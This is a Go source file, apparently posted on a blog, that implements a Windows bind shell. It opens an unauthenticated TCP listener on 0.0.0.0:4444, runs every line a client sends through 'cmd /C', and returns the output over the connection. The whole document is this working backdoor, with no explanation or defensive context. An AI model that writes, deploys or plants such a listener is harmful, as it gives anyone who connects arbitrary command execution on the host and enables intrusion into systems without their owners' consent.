package main
import (
"net"
"bufio"
"os/exec"
"fmt"
)
const (
TYPE = "tcp"
ADDRESS = "0.0.0.0:4444")
func main() {
l, err := net.Listen(TYPE, ADDRESS)
checkErr(err)
defer l.Close()
for ;true;{
conn, err := l.Accept();
checkErr(err)
go handleRequest(conn)
}
}
func handleRequest(conn net.Conn) {
scanner := bufio.NewScanner(conn);
for {
recv := scanner.Scan()
command := scanner.Text();
if !recv || "exit" == command {
break;
}
cmd, err := exec.Command("cmd", "/C " + command).Output()
if(err!= nil) {
conn.Write([]byte(err.Error()+ "\r\n") )
} else {
conn.Write(cmd);
}
checkErr(err);
conn.Write([]byte("---------------------------------------------\r\n"));
conn.Write([]byte("\r\n"));
}
conn.Close();
}
func checkErr(err error) {
if(err != nil) {
fmt.Println(err.Error())
}
}
评论
发表评论